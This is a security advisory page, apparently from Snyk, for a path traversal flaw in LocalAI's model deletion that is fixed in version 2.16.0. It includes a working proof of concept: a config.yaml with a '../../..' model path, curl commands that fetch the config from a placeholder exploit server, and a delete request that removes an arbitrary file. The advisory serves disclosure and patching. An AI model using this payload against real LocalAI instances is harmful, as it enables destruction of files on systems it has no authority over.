Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade github.com/mudler/LocalAI/pkg/model
to version 2.16.0 or higher.
Affected versions of this package are vulnerable to Path Traversal through the model
parameter during the model deletion process. An attacker can delete arbitrary files by crafting a request with a manipulated model
parameter.
Create a file named deleteme.txt
in the /tmp
folder.
Save the following code as config.yaml
:
name: "delete_test" parameters: model: ../../../../../../../../tmp/deleteme.txt
usage: | foo
Start a python http server:
python3 -m http.server
Add a model.
curl http://localhost:8080/models/apply -X POST -H "Content-Type: application/json" -d '{"config_url":"<exploit_server>/config.yaml","id":""}'
The model name is the md5 hash of config_url
, use this command to calculate this value:
echo -n "<exploit_server>/config.yaml" | md5sum
Delete model:
curl http://localhost:8080/models/delete/f26ecc271c5e79202b71619382c0c22b -X POST
When the process is completed, you will see that the file has been deleted.